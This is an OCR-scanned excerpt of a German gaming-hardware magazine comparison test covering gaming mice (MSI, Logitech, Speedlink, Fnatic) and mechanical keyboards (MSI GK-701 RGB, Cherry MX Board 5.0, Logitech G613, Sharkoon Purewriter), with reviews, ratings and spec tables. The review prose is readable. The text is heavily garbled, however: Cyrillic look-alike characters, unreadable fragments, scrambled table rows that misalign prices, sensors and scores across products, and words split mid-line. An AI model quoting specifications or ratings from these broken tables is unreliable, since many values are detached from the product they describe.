Abtastverhalten/Lift-off-Distanz 


FAZIT 
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© Ausstattung mit spez. Features 
© Abtastleistung Sensor/Hubhöhe 
© Ergonomie/Druckp. Haupttasten 


Wertung: 1,24. 


Sehr gut/sehr niedrig: weniger als 1 mm | Sehr gut/sehr niedrig: weniger als 1 mm 


© Sehr gute Ausstattung 
© Lift-off-Distanz unter 1 mm 
© Software nicht anwenderfreundl. 


Wertung: 1,33 


Sehr gut/niedrig: ca. 1 mm 


© Ergonomie/Wabenstruktur Heck 
© Leistung Sensor!) mm Hubhöhe 
© Keine Untergrundkalibrierung 


Wertung: 1,41 


Sehr gut/niedrig: ca. 1,5 mm Sehr gut/sehr niedrig: ca. 1 mm 


© Ausstattung im Verhältnis zum Preis © Ausstattung (mod. Seitentasten) 
© Leistung Sensor/Hubhöhe per Knopf © Abtastung/geringe Lift-off-Distanz 
© keine Zonenbeleuchtung/Effekte 


Wertung: 1,51 


© Druckpunkt Haupttasten/Powerplay 


Wertung: 1,33 
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über die Mausunterlage gleiten, 
müssen Sie für eine spürbar verbes- 
serte Gleitfähigkeit die ganz dünne 
Schutzfolie auf den Mausgleitern 
entfernen. Die haben wir nämlich 
bei den ersten Tests mit der auch 
für den Esport geeigneten Maus 
glatt übersehen. 


Speedlink Omnivi Core Gaming 
Mouse: Gamer-Maus mit anpassba- 
rer Ergonomie und viel Zubehör. Die 
Omnivi Core Gaming ist Speedlinks 
Maus-Flaggschiff, das wird schon 
an ihrer hohen Fertigungsquali- 
tät deutlich. Die Bodenplatte bei- 
spielsweise, deren Kanten optisch 
auffällig schräg abgefräst sind und 
die gleichzeitig als Ablage für den 
Daumen sowie den kleinen und 
Ringfinger dient, besteht aus Alu- 
minium. Auch die Ausstattung der 
mit einer gummierten Oberscha- 


le veredelten Rechtshändermaus 
zeigt, dass Speedlink mit der Omni- 
vi den Spieler im Visier hat. Der per 
IR-LED abtastende Sensor arbeitet 
mit bis zu 12.000 Dpi, vier Dau- 
men- und zwei Zeigefingertasten 
lassen sich mit einfach erstellbaren 
Makros belegen und der Speicher 
nimmt beliebig viele Spieleprofile 
auf. Die RGB-Beleuchtung befin- 
det sich oberhalb der Bodenplat- 
te am Heck und rund um den für 
die sechsstufige Dpi-Umschaltung 
gedachten Knopf. Das gummierte 
Mausrad ist ebenfalls beleuchtet 
und zeigt mit wechselnden Farben 
die gewählte Dpi-Stufe an. Leider 
kann man in der Software die Be- 
leuchtung des Hecklogos und der 
Bodenpartie nicht getrennt von- 
einander einstellen und Lichtspie- 
lereien (fünf Effekte verfügbar) 
gibt es leider nur in Kombination, 


wobei eine Helligkeitsregelung 
fehlt. Generell entspricht die Soft- 
ware nicht dem Standard, den man 
von einem 70-Euro-Spielermaus 
erwartet, denn es gibt keine Ein- 
stellungen zur Pfadbegradigung, 
Hubhóhe oder der Optimierung 
der Abtastung auf verschiedenen 


Untergründen. 


Obwohl der optische Sensor of- 
fensichtlich ohne die Assistenz 
einer ARM-CPU auskommen muss, 
arbeitet er auch bei maximaler 
Abtastrate von 12.000 Dpi präzise 
und latenzfrei und setzt auch sehr 
schnelle Richtungsánderungen 
beim Spielen um. Die für den Palm- 
Grip optimierte Ergonomie eignet 
sich auch gut für andere Griffar- 
ten. Für Spieler mit langen Fingern 
und/oder großen Händen ist die 
Ablageplatte jedoch etwas zu klein 


geraten. Die beiden Knöpfe am 
Rand der linken Haupttaste sind 
selbst mit einem langen Zeigefin- 
ger noch sehr umständlich zu errei- 
chen. Im Gegenzug verhindern die 
Anordnung und der harte Druck- 
punkt der vier Daumentasten, dass 
sie bei Mausbewegungen unge- 
wollt ausgelöst werden. (fs) 


Fazit Нагішаге 


Vergleichstest Spielermàuse 

Eine unpräzise Abtastung mit Latenzen 
finden wir bei keinem Testnager und 
die Ergonomie der Probanden stimmt 
ebenfalls, zumal drei Kandidaten bei der 
Form oder den Fingerablagen Modifika- 
tionsmöglichkeiten bieten. Meist sind es 
die Ausstattung und die Eigenschaften, 
die den oft nur kleinen Unterschied bei 
der finalen Wertungsnote ausmachen. 


SPIELERMÄUSE 


Auszug aus Testtabelle 
mit 24 Wertungskriterien 


Hersteller/Vertrieb (Webseite) 


60 
MSI (www.msi.com) 


60 
Logitech (www.logitech.com) 


О ore 
Speedlink (www.speedlink.de) 


Fnatic Gear (www.fnatic.com/gear) 


Logitech (www.logitech.de) 


Preis/Preis-Leistung 


Ca. 75,- Euro/befriedigend (3) 


Ca. 75,- Euro/befriedigend (3) 


Ca. 70,- Euro/befriedigend (3) 


Ca. 45,- Euro/voll befriedigend (3+) 


Ca. 100,- Euro (G703) + ca. 120 Euro 
(Powerplay-Pad)/befriedigend 


PCGH-Preisvergleich www.pcgh.de/preis/1501343 


www.pcgh.de/preis/1680724 


www.pcgh.de/preis/1526594 


www.pcgh.de/preis/1631084 


www.pcgh.de/preis/1638503 (G703)/ 
www.pcgh.de/preis/1638522 (Pad) 


Geeignet für/Gewicht/Verabeitung 


100-Dpi-Schritte mit Anzeige), zwei ma- 
gnetisch andockende Ablagen für den 
Daumen sowie den Ring- und den klei- 
nen Finger, zwei Oberschalen (kurzes/ 
anges Heck), ARM-CPU, Makrofunktion, 
Speicher für fünf Profile und Makros, 
GB-Beleuchtung (je sechs LEDs unter 
den Haupttasten und das Hecklogo sind 
individuell beleuchtbar/neun Effekte mit 
Geschwindigkeitsregelung), 3.000 Hz 
olling Rate, zweites Anschlusskabel 

0 


echts- und Linkshänder/ 
ca. 115 Gramm/sehr gut 


Stufen, 50-Dpi-Schritte), drahtlos (2,4 
GHz/Bluetooth), ARM-CPU, Makrofunk- 
tion, Speicher für ein Profil und Makros, 
1.000 Hz Polling Rate, 1,50 m lange 
USB-Verlángerung für 2,4-GHz-Na- 
no-Empfänger, zweite Batterie als Ge- 
wichtssystem, 500 Stunden Akkulaufzeit 
mit zwei Batterien bei voller Leistung 


Rechtshänder/90 Gramm (ohne Batte- 
rien)/sehr gut 


100-Dpi-Schritte), Makrofunktion, 
Profilspeicher, RGB-Beleuchtung 
(Boden, Hecklogo und Mausrad//fünf 
Beleuchtungseffekte mit Frequenzregler 
inklusive permanenter Beleuchtung mit 
separater Farbwahl nur für die Boden- 
partie), 1.000 Hz Polling Rate 


Rechtshänder/ca. 145 g/sehr gut 


Stufen, 50 Dpi-Schritte), ARM-CPU 
(Holtek HT68FB560), 256 KiB Speicher 
für drei Profile und Makros, RGB-Be- 
leuchtung (5 Modi für Scrollrad), 1.000 
Hz Polling Rate 


Rechtshánder/116 Gramm/sehr gut 


Bauart/Anschluss Kabel-Maus/USB Kabel-Maus/USB Kabel-Maus/USB Kabel-Maus/USB Drahtlos/USB (Induktionspad mit 
Empfänger) 

Empfohlener Spielstil Low-, Mid- und High-Sense Low-, Mid- und High-Sense Low-, Mid- und High-Sense Low-, und Mid-Sense Low-, Mid- und High-Sense 

Д а g 8 80 8 

Abtastung/Lasertyp Optisch (IR-LED)/Pixart PMW 3330 Optisch (IR-LED)/Logitech HERO Sensor |Optisch (IR-LED)/keine Angabe Optisch (IR-LED)/Pixart PMW 3310 Optisch (IR-LED)/Pixart PMW 3366 

Anzahl Tasten 7 + Scrollrad 5 + Scrollrad 9 + Scrollrad 6 + Scrollrad 5 + Scrollrad 

Maximale Auflösung 8.200 Dpi (10.800 Dpi interpoliert) 12.000 Dpi (+ Untergrundkalibierung) | 12.000 Dpi 5.000 Cpi 12.000 Dpi (+ Untergrundkalibrierung) 

Kabellänge Ca. 200 cm (ummantelt)/ca. 100 cm Drahtlos (2,4 GHz und Bluetooth)/ca. |Ca. 180 cm Ca. 200 cm Ca. 180 cm (Anschluss Powerplay-Pad) 

(glatt) 150 cm (Verlängerung Empfänger) 
Sonderausstattung Dpi-Umschaltung (sechs Stufen, Dpi-Umschaltung mit LED-Anzeige (fünf | Dpi-Umschaltung (sechs Stufen, Dpi-Umschaltung mit LED-Anzeige (drei | Dpi-Umschaltung mit LED-Anzeige (fünf 


Stufen, 50-Dpi-Schritte), alle Tasten frei 
programmierbar, ARM-CPU für Unter- 
grundkalibirierung (Angle Snapping/ 
Oberflächentuning), Makrofunktion, 
Onboard-Speicher für Makros und Pro- 
file, RGB-Beleuchtung mit zwei Effekten 
(Logo am Heck und Scrollrad), 1.000 
Hz Polling Rate, Mikro-USB-Adapter für 
das Ladekabel 


Rechtshänder/105 Gramm + 10 
Gramm/sehr gut 


Druckpunkte Haupt-/Sondertasten 


Gut bis sehr gut/gut bis sehr gut 


Sehr gut/sehr gut 


Sehr gut/gut 


Gut/gut bis sehr gut 


Sehr gut/gut bis sehr gut 


Druckpunkt/Rasterung Scrollrad 


Gut bis sehr gut/gut bis sehr gut 


Gut/gut 


Sehr gut/gut bis sehr gut 


Gut bis sehr gut/sehr gut 


Gut/befriedigend 


Funktionsumfang und Features 
Software 


Gut bis sehr gut/Angle Snapping de- 
aktivierbar und Hubhóhe minimierbar 
(beides per Knopf möglich), keine Opti- 
on für die Untergrundkalibrierung 


Befriedigend/keine Einstellungen zur 
Lift-off-Distanz und der Untergrundka- 
librierung/Tastendruck-Heatmap- und 
Arx-Control-Feature vorhanden 


Ausreichend/keine Einstellungen zur 
Lift-off-Distanz und Angle Snapping/ 
keine Untergrundkalibrierung 


Gut bis sehr gut (alle Griffstile) 


Ausreichend/keine Einstellungen zur 
Lift-off-Distanz und Angle Snapping/ 
keine Untergrundkalibrierung 


Sehr gut (alle Griffstile) 


Gut bis sehr gut/Untergrundkalibrie- 
rung, Angle Snapping einstellbar/keine 
Option für die Lift-off-Distanz 


Sehr gut (alle Griffstile) 
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Ergonomie Gut bis sehr gut (alle Griffstile) Sehr gut (alle Griffstile) 
Prázision/1.000 Hz Polling Rate Sehr gut/ja, per Software sogar 3.000 ` |Sehr gut/ja, per Software Sehr gut/ja, per Software Sehr gut/ja, per Software Sehr gut/ja, per Software 
Hz möglich 
Gleiteigenschaften Gut Gut Gut bis sehr gut Gut bis sehr gut Gut 
Abtastverhalten/Lift-off-Distanz ^ |Sehr gut/niedrig: ca. 1,2 mm Sehr gut/niedrig: weniger als 1,5 mm ` | Sehr gut/niedrig: weniger als 1,5 mm [Sehr gut/etwas zu hoch: ca. 2 mm Sehr gut/niedrig: ca. 1,5 mm 
© Beste A g е$їТе!а © Stromsparender Senso © Sensorle g onne Ko © Ergono © Le g Senso ang So 
© Sensorle g be 0.800 Dp © Ergono D p +) oft-D © Prä e ollradraste g QD p aup 
а % z а Q 5 а 0 г а Q а Q d 
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PAUSE 


Омтза 


Spezielle Spielpartner 


Braucht eine Gamer-Tastatur eine bunte Beleuchtung? Ist ein schnurloses mechanisches Keyboard zum 


Spielen geeignet? Um diese Fragen zu klàren, testen wir vier Tastaturen mit speziellen Ausstattungsextras. 


echanische Keyboards sind 

bei PC-Spielern besonders 
beliebt. Das liegt daran - und da 
ist man sich einig -, dass die Tas- 
tenschalter über klar definierte 
Auslóse- und Hubwege sowie ei- 
nen festgelegten Betätigungsdruck 
verfügen. Doch wie sieht es mit 
der optionalen Ausstattung aus? 
Welche Extras sollte eine spieler- 
taugliche Tastatur auf jeden Fall 
bieten? Bei der Beantwortung die- 
ser Fragen gehen die Meinungen 
weit auseinander. MOBA- oder 
MMORPG-Fans wünschen sich eine 
umfangreiche Makrofunktion mit 
Extratasten und Profilverwaltung. 
Wer seine Tastatur zusätzlich für 
Schreibarbeiten nutzt, weiß eine 
ausreichend große Handballen- 
ablage zu schätzen und wer einen 
zweiten Gaming-PC im Wohnzim- 
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mer stehen hat, profitiert von ei- 
nem schnurlosen Modell, das er 
per Bluetooth- und 2,4-GHz-Funk- 
verbindung an beiden Rechnern 
nutzen kann. Auch eine Beleuch- 
tung, ob nur ein- oder mehrfarbig 
(RGB), ist für viele Spieler ein wich- 
tiges Kaufkriterium, wobei sich die 
Fans der Lichtspielereien über eine 
große Effektpalette freuen, die im 
Idealfall ohne Software per Tasten- 
kombinationen aufgerufen wird. 


Diese Extras sind auch bei den von 
uns getesteten Neuerscheinungen 
vorhanden. Allerdings bietet kein 
Gerät das volle Ausstattungspaket, 
sondern konzentriert sich auf ein- 
zelne Features. Logitechs G613 bei- 
spielsweise ist die erste schnurlose, 
mechanische Tastatur, die auch 
per Bluetooth mit dem PC Kontakt 


aufnimmt. Die Sharkoon Purewri- 
ter ist eines der wenigen Modelle 
mit flachen Notebooktasten und 
Cherrys MX Board macht mit einer 
modifizierbaren Handballenablage 
auf sich aufmerksam. So werden 
die Ausstattung und Eigenschaf- 
ten und weniger die Leistung zum 
wichtigsten Kaufkriterium, denn 
für das Spielen am PC sind alle vier 
Geräte gut geeignet. 


MSI G-K701 : Bunt beleuchteter, 
Software-freier Spielkamerad. Der 
für seine Grafikkarten und Main- 
boards bekannte Hersteller MSI 
will nun auch in der Peripherie- 
Sparte Fuß fassen und präsentiert 
mit der GK-701 RGB das Flagg- 
schiff des Tastatur-Portfolios. De- 
ren Hauptausstattungsmerkmal 
ist neben den flotten Cherry-MX- 


Speed-RGB-Silber-Tastenschaltern 
und dem NKey-Rollover (NKRO) 
die RGB-Beleuchtung. Diese um- 
fasst acht vorgefertigte Effekte 
mit verstellbarer Geschwindigkeit 
sowie zwei individuell program- 
mierbaren Beleuchtungsprofilen. 
Zusätzlich hat man die Möglich- 
keit, jedem der mit den Tasten 
Fn + 1 bis 5 aufrufbaren fünf Pro- 
file per Tastenkombination einen 
Beleuchtungseffekt 
Das geht einfach von der Hand, die 
Makro-Direktaufzeichnung und das 
Belegen von Tasten mit den Zei- 
chenkombinationen fällt dagegen 
deutlich komplizierter aus. Im Lie- 
ferumfang befindet sich zwar ein 
Faltblatt, das hilft aber nur bedingt, 
da dort eine Schritt-für-Schritt- 
Anleitung für die Makroprogram- 
mierung fehlt. Für die GK-701 RGB 


zuzuordnen. 
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steht keine Software zur Verfü- 
gung, daher sind sehr viele Tasten 
doppelt belegt. Das gilt auch für die 
Deaktivierung der Win-Taste (Fn + 
F12) sowie die sechs Multimedia- 
Funktionen (Fn + Sechserblock 
über den Cursortasten). 


Obwohl man auf der Unterseite 
Aussparungen für die Halterungen 
einer Handballenablage entdeckt, 
gehört diese leider nicht zum 
Lieferumfang des Preis-Leistungs- 
Tipps. So ist die Ergonomie gerade 
für Vielschreiber nicht ideal, da die 
MSI GK-701 RGB an der Frontsei- 
te nicht abgeschrägt ist und über 
eine spürbare harte Kante verfügt. 
Die einzelnen Tastenblöcke liegen 
eng beieinander, die F-Tastenreihe 
setzt sich jedoch gut vom Haupttas- 
tenfeld ab, so kommt es auch beim 
Blindschreiben zu keinen Fehlgrif- 
fen. Mit ihrem auf 1,2 mm verkürz- 
ten Auslösepunkt (Standard: 2 mm) 
sowie dem Anschlag nach 3,4 mm 
(Standard: 4,0 mm) eignen sich die 
Cherry-MX-Speed-RGB-Silber-Tas- 
ter sehr gut für eine schnelle Reak- 
tion und flotte Mehrfachbetätigung 
beim Spielen. Dank der verkürzten 
Schalterwege und des moderaten 
Auslösedrucks von 45 g (cN) lässt 


www.pcgameshardware.de 


es sich mit der GK-701 RGB von 
MSI auch ordentlich tippen. 


Cherry MX Board 5.0: Sehr ergo- 
nomisches und leises Schreibgerät 
mit Gamer-Ambitionen. Nach dem 
Premiummodell MX Board 6.0 und 
dem bei den Fans flacher Tasten- 
kappen beliebten MX Board 3.0 
präsentiert Schalterspezialist Cher- 
ry mit dem MX Board 5.0 eine neue 
mechanische Tastatur für Spieler. 
Die soll dank der überarbeiteten, 
hauseigenen MX-Silent-Tastenschal- 
ter sehr leise sein und dank einer 
speziell konstruierten Handballen- 
ablage auch maximalen Komfort 
beim Tippen und Spielen bieten. 
Die Tatsache, dass Cherry dem MX 
Board 5.0 sechs Multimedia-Tasten 
sowie den Cherry-Knopf inklusive 
roter Diode zum Deaktivieren der 
Windows-Taste spendiert, zeigt, 
dass die Auerbacher definitiv den 
Spieler im Visier haben. Auch die 
restliche Ausstattung, zu der ein 
garantiertes NKey-Rollover, ein um- 
fassendes Anti-Ghosting und die 
weiße Beleuchtung gehören, wird 
man beim Spielen mit dem MX 
Board 5.0 zu schätzen wissen. Mit 
lediglich zwei Effekten (Breath/ 
Pulse) und nur einer Beleuchtungs- 


Das Alleinstellungsmerkmal des MX Board 5.0 ist die Handballenauflage (480 x 86 mm). Am 
hinteren Ende der Tastatur sowie vorne und hinten an der Handballenablage befinden sich 
Gummifüße, die eine Feinjustierung der Tastaturergonomie an drei Punkten ermöglichen. 


Sharkoons Purewriter ist mehr als ein Schreibgerät. Die 12 Lichteffekte (F6 bis F9), speziell 
die per L1 bis L3 abrufbaren persönlichen Beleuchtungsprofile, eignen sich auch für Spieler. 
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Wie die Purewriter kommt MSIs GK-701 RGB komplett ohne Software aus. Die komplizierte 
Makro-Direktaufzeichnung und die RGB-Lichtspielereien erfolgen per Tastenkombination. 


Um Strom zu sparen verzichtet Logitech bei der drahtlosen G613 mit Lightspeed-Techno- 
logie auf eine Beleuchtung. Dafür gehóren sechs Makro- sowie sieben Multimedia-Tas- 
ten zur Ausstattung. Letztgenannte sind allerdings nicht mit Romer-G-Tastern bestückt. 
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farbe ist das rutschfeste Keyboard 
zwar keinesfalls ein Lichtspieler, 
dafür hat es andere Qualitäten. 


Wie beworben ist die gummierte, 
jeweils um 1,5 cm über den rech- 
ten und linken Rand hinausragen- 
de Handballenablage das wahre 
Highlight des MX Board 5.0. Wie 
im Bild auf der vorherigen Seite 
oben zu sehen ist, verfügt die Auf- 
lage für die Handballen vorne und 
hinten über spezielle Gummifüfse, 
die dafür sorgen, dass die Tastatur 
in der Höhe und der Neigung ver- 
stellbar ist. Zusammen mit Höhen- 
verstellung der Tastatur ermöglicht 
das eine Feinjustierung und auch 
eine Optimierung der Ergonomie 
an drei Punkten. 


Beim Schreibtest bestätigt sich 
dann auch die versprochene ge- 
räuscharme Arbeitsweise der line- 
aren Cherry-MX-Silent-Red-Taster. 
Deren Dämpfung wurde so verbes- 
sert, dass selbst bei den Tasten der 
untersten Reihe (Leertaste, Strg, 
Alt, Altgr usw.) kein Ping-Geräusch 
mehr zu hören ist. Mit ihrer gerin- 
gen Auslösekraft von 45 g (cN) 
eignen sich die nachgedämpften 
Taster nicht nur für den Vielschrei- 
ber und Schnelltipper. Auch eine 
zügige Mehrfachbetätigung beim 
Spielen ist gar kein Problem. 


ogitech G613 Stromsparen- 
der, schnurloser Spielpartner mit 
Lightspeed-Technologie. Wie bei 
der ebenfalls in dieser Ausgabe 
getesteten drahtlosen G603 (sie- 
he Vergleichstest Spielermäuse ab 
Seite 86) schreibt Logitech auch 
bei dem via 2,4-GHz-Band oder per 
Bluetooth mit dem Rechner kom- 
Tastatur-Pendant 
G613 Energieeffizienz ganz groß. 
Gut 18 Monate sollen die beiden 
mitgelieferten AA-Batterien die 
G613 mit Strom versorgen, ab- 
hängig von Nutzungs- und Um- 
gebungsbedingungen. Um das 
zu garantieren arbeitet die G613 
wie die G603 mit Logitechs neuer 
Lightspeed-Technologie, die über 
eine superschnelle Signalrate von 
1 Millisekunde sowie Bluetooth- 


munizierenden 


Unterstützung verfügt. Zusätzlich 
verzichtet Logitech, den Knopf 
zur Aktivierung der Bluetooth- 
oder 2,4-GHz-Verbindung ausge- 
nommen, auch komplett auf eine 
Tastenbeleuchtung. Eine Makro- 
Direktaufzeichnung oder ein Pro- 


filschalter fehlen ebefalls. Will man 
die sechs G-Tasten mit Tastenkom- 
binationen belegen oder Profile 
erstellen und speichern, kommt Lo- 
gitechs Gaming-Software ins Spiel, 
die gewohnt umfangreich und 
anwenderfreundlich ausfällt. Sie- 
ben oberhalb des Nummernblocks 
positionierte Multimediatasten, ein 
Knopf zum Sperren der Windows- 
oder anderer Tasten, ein 150 cm 
langes Verlängerungskabel für den 
Nano-Empfänger sowie eine Smart- 
phone-Halterung runden die insge- 
samt ordentliche Ausstattung ab. 


Die Handballenablage sorgt für 
eine sehr gute Ergonomie, für Spie- 
ler mit sehr großen Händen und/ 
oder langen Fingern ist sie jedoch 
rund 5 mm zu schmal geraten und 
an die Klasse des Cherry-Pendants 
kommt sie auch nicht heran. Die G- 
Tasten befinden sich sehr nah am 
Haupttastenfeld, beim Blindschrei- 
ben kann das zu Problemen führen. 
Selbst wir lösten im Praxistest den 
G6- anstelle des STRG-Knopfs so- 
wie die G5- anstelle der Umschalt- 
taste aus. Lob erntet die G603 für 
ihre anscheinend kaum stromhung- 
rigen Romer-G-Schalter, bei deren 
Entwicklung Schalterspezialist 
Omron mitgearbeitet hat. Ihr Aus- 
lösepunkt nach 1,5 mm (Hubweg: 
3 mm) ist haptisch spürbar und mit 
etwas Gewöhnung hämmert man 
die Tasten, deren Auslösedruck bei 
eher niedrigen 45 g (cN) sowohl 
beim Schreiben als auch Spielen 
liegt, nicht mehr durch. 

St on Р (iter: Günstiger 
Lichtspieler mit flachen Tastenkap- 
pen und schnell auslósenden Schal- 
tern. Wer bisher auf der Suche nach 
einer mechanischen Tastatur mit 
flachen Notebooktasten war, muss- 
te sich zwischen Cherrys MX Board 
3.0 oder 6.0, der Steelseries APEX 
800 oder der Tesoro Gram Spec- 
trum entscheiden. Mit der Purewri- 
ter präsentiert Sharkoon jetzt einen 
weiteren Vertreter, dessen Kailh- 
Schalter über einen verkürzten 
Anschlagsweg von 1,5 mm sowie 
einen Tastenhub von nur 3 mm ver- 
fügen. Trotz des Namens ist Shar- 
koons Flachmann keinesfalls nur 
ein Schreibgerät, sondern eignet 
sich durchaus auch für das Spielen 
am PC. Die Ausstattung hat jedoch, 
von den vier Multimedia-Tasten 
und der programmierbaren Einzel- 
tastenbeleuchtung abgesehen, kei- 
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ne speziellen Spieler-Features auf 
Lager. Sharkoon verzichtet zwar auf 
Lichtspielereien im RGB-Farbraum, 
spendiert der mit zwei Anschluss- 
kabeln (150 cm/50 cm) gelieferten 
Purewriter aber eine blaue Tasten- 
beleuchtung, für die keine Soft- 
ware nötigt ist. 12 Effekte lassen 
sich direkt aufrufen (Fn + F6 bis 
F9) und deren Frequenz oder Lauf- 
richtung modifizieren. Zusätzlich 
kann man fünf individuelle Profile 
einfach erstellen und auf die Tasten 


und eine Polling Rate von 1.000 Hz 
gehören auch zur Ausstattung der 
auch als TKL-Variante ohne Num- 
mernblock für ca. 70 Euro erhältli- 
chen Purewriter. 


Der Abstand zwischen den Tasten- 
blöcken ist zwar nicht besonders 
groß, trotzdem kommt es beim 
Schreiben kaum zu Fehlgriffen. 
Eine Handballenablage fehlt, die 
Ergonomie ist trotzdem ordentlich, 
weil aufgrund des flachen Chassis 


Purewriter der Tisch zur Handbal- 
lenauflage wird. An den auf 1,5 mm 
verkürzten Auslöseweg und den 
3 mm Hubweg der wahlweise ro- 
ten oder blauen Kailh-Tastenschal- 
ter muss man sich erst gewöhnen. 
Dann lässt es sich mit der Purewri- 
ter aber sehr zügig tippen, wobei 
die dabei entstehende Geräusch- 
kulisse trotz des leicht vibrieren- 
den Chassis erstaunlich gering ist 
- selbst, wenn die blauen Switches 
zum Einsatz kommen, die ein Klick- 
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Vergleichstest Tasturen 

Die MSI GK-701 RGB ist ein bezahlbarer, 
bunt beleuchteter Spielkamerad. Reicht 
eine einfarbige Tastenbeleuchtung und 
stehen die Ergonomie und leise Tasten- 
schalter im Vordergrund, ist Cherrys MX 
Board 5.0 die erste Wahl. Fans eines 
schnurlosen Modells sei Logitechs neue 
G613 an Herz gelegt. Und wer weniger 
spielt, aber sparen möchte, für den ist die 
Sharkoon Purewriter optimal geeignet. 


L1 bis L5 legen. Ein NKey-Ro 


llover der weitestgehend 


PREIS-LEISTUNGS-TIPP 


MECHANISCHE 
TASTATUREN 


Auszug aus Testtabelle 
mit 45 Wertungskriterien 


Produktname 
Hersteller (Vertrieb) 


rutschfesten 


Geräusch produzieren. 


(fs) 


— 
SPAR-TIPP 


G 


Нагйшаге 


GK-701 RGB 
MSI (https://de.msi.com/) 


MX Board 5.0 
Cherry (www.cherry.de) 


G613 


Logitech (www.logitech.de) 


Sharkoon 
De 


Нагйшаге 


Purewriter 
Sharkoon (http://de.sharkoon.com) 


Preis/Preis-Leistung 


Bauart/Anschluss 


Ca. € 110,- Euro/gut (2) 


Ca. € 160,- Euro/ausreichend (4) 


Ca. € 145,- Euro/noch befriedigend (3-) 


Ca. € 85,- Euro/noch sehr gut (1-) 


PCGH-Preisvergleich www.pcgh.de/preis/1704443 


www.pcgh.de/preis/1678744 


www.pcgh.de/preis/1680769 


www.pcgh.de/preis/1701631 


Kabeltastatur/USB 2.0 


Kabeltastatur/USB 2.0 


Drahtlos/2,4-GHz-Empfänger und Bluetooth 


Kabeltastatur/USB 2.0 


stellbar) 


Ausstattung (20 %) 2,35 2,55 2,55 2,42 

Kabellänge Ca. 175 cm Ca. 180 cm Ca. 150 cm (Verlängerung 2,4-GHz-Nano- Ca. 150 cm und ca. 50 cm (für Laptops) 
Empfänger) 

Handballenablage Nein Ja (modular, in der Höhe und Neigung ver- Ja (integriert, nicht modular) Nein 


Beleuchtung/Feature- und Effektumfang/ 


Ja, RGB-Beleuchtung (programmierbare Einzel- 


Ja, einfarbig (weiß), 10 Helligkeitsstufen/ausrei- 


Nein/nur Knopf für die Funk- oder Bluetooth- 


Ja, blaue Tastenbeleuchtung (programmierbare 


Effekt per Taste abrufbar tastenbeleuchtung im vollen RGB-Farbspektrum | chend: Vollbeleuchtung, ein Breathe- und ein | Verbindung mit weißer respektive blauer einfarbige Einzeltastenbeleuchtung mit 12 
mit 8 Effekten inklusive Geschwindigkeitsregler |Pulse-Effekt mit vier Geschwindigkeitsstufen/ja | Beleuchtung/nein vorgefertigten Effekten, 5 auf die Tasten L1 bis 
und zwei individuellen Beleuchtungsprofilen L5 speicherbaren Beleuchtungsprofilen, und 
mit RGB-Farbanpassung), keine Helligkeitsstu- Modifikationen [Laufrichtung und Frequenz]), 
fen/sehr gut/ja, alle Effekte sowie die zwei in- stufenlose Helligkeitsverstellung/sehr gut/ja, 
dividuellen Beleuchtungsmodi lassen sich ohne Effekte und individuelle Beleuchtungsprofile 
Software abrufen oder erstellen; ein ohne Software aufrufbar und programmierbar 
Beleuchtungseffekt für jedes der fünf Profile 

Tastenanzahl 107 Tasten 111 Tasten 123 Tasten 109 Tasten 

USB-Ports/Soundanschlüsse Nein/nein Nein/nein ein/nein Nein/nein 


Extras 


Оһпе Software programmierbare RGB-Ein- 
zeltastenbeleuchtung mit 8 Effekten und 2 
individuellen Profilen, Makrofunktion mit 
Direktaufzeichnung für 10 Tasten (ohne Soft- 
ware), Profilverwaltung (5 Profile ohne Soft- 
ware), 6 Multimedia-Tasten (Doppelbelegung 
Mittelblock), Windows-Tastensperre (Fn + F12), 
NKRO, 1.000 Hz Polling Rate 


Einfarbige Beleuchtung (Vollbeleuchtung und 
zwei Effekte und vier Geschwindigkeitsstu- 
fen per Taste), 6 Multimediatasten, NKRO, 
1.000 Hz Polling Rate, Knopf zum Deaktivieren 
der Windows-Taste mit optischer Anzeige 

per Diode 


Verbindung über 2,4-GHz-Band und Bluetooth, 
7 separate Multimediatasten (über dem Zeh- 
nerblock), Makrofunktion mit 6 Makrotasten, 
rofilverwaltung mit Speicher, Knopf zum 
Sperren der Windows-Taste, NKRO, 1.000 Hz 
olling Rate, bis zu 18 Monate Akkulaufzeit 
dank Lightspeed-Technik, 1,5 m langes 
USB-Verlängerungskabel für Nano-Empfänger, 
Smartphone-Halterung 


Ohne Software programmierbare, blaue Ein- 
zeltastenbeleuchtung mit 12 vorgefertigten 
Effekten, 6 Modifikationen pro Effekt und 

5 erstellbaren Beleuchtungsprofilen, NKRO, 
.000 Hz Polling Rate, zwei Anschlusskabel 


Höhenverstellung 
Eigenschaften (20 %) 
Tastaturlayout/Übersichtlichkeit 


Ja 
1,68 
Full-Size (Standard MF/ISO)/sehr gut 


Ja 
1,38 
Full-Size (Standard MF/ISO)/sehr gut 


а 
1,18 
Full-Size (Standard MF/ISO)/sehr gut 


a 
1,83 
ull-Size (Standard MF/ISO)/sehr gut 


Tastenhöhe (Haupttasten) 


Normal 


Mittelhoch 


ormal 


lache Notebook-Tasten 


Ergonomie/Rutschfestigkeit 


Gut/gut bis sehr gut 


Sehr gut/sehr gut 


Sehr gut/gut bis sehr gut 


Gut bis sehr gut/gut 


Windowstasten Ja, per Fn + F12 deaktivierbar Ja, per Taste deaktivierbar a, per Taste deaktivierbar a, aber nicht deaktivierbar 
Abmessungen (L x B x H)/Gewicht 452 x 164 x 37 mm/ca. 1.600 Gramm 465 x 145,5 x 36 mm/ca. 1.060 Gramm 478 x 216 x 33 mm/ca. 1.110 Gramm 436 x 127 x 35 mm/1.100 Gramm 
Leistung (60 %) 1,25 1,35 1,55 1,45 
Tastenanschlag/Druckpunkt Sehr gut/Sehr gut Sehr gut/Sehr gut Sehr gut/Sehr gut Sehr gut/sehr gut 


Schalterart/Aktivierungsdruck 


Cherry MX Speed RGB Silber (Linear, 45 cN [g]; 
1,2 mm Auslóse- und 3,4 mm Anschlagsweg, 
transparentes Schaltergeháuse) 


Cherry MX Silent Red (linear, 45 cN [g], 2,0 mm 
Auslöseweg, 4 mm Betätigungsweg, schwarzes 
Schaltergehäuse) 


Romer G (Taktil, haptisch, 45 cN [g]; 1,5 
mm Auslöse- und 3 mm Anschlagsweg, 
weiß-schwarzes-Schaltergehäuse) 


Kailh Red/Blue (Linear/Taktil [haptisch und 
akustisch], 45 cN [9]/55 cN [9]; 1,5 mm Auslö- 
se- und 3,0 mm Anschlagsweg, transparentes 
Schaltergehäuse) 


Key Rollover 


KRO (USB-Port) 


NKRO (USB-Port) 


NKRO (USB-Port) 


NKRO (USB-Port) 


Software: Anwenderfreundlichkeit/Umfang 


Keine Software vorhanden 


Keine Software vorhanden 


Gut/umfrangreich 


Keine Software vorhanden 


Software: Beleuchtungsprogrammierung/ 
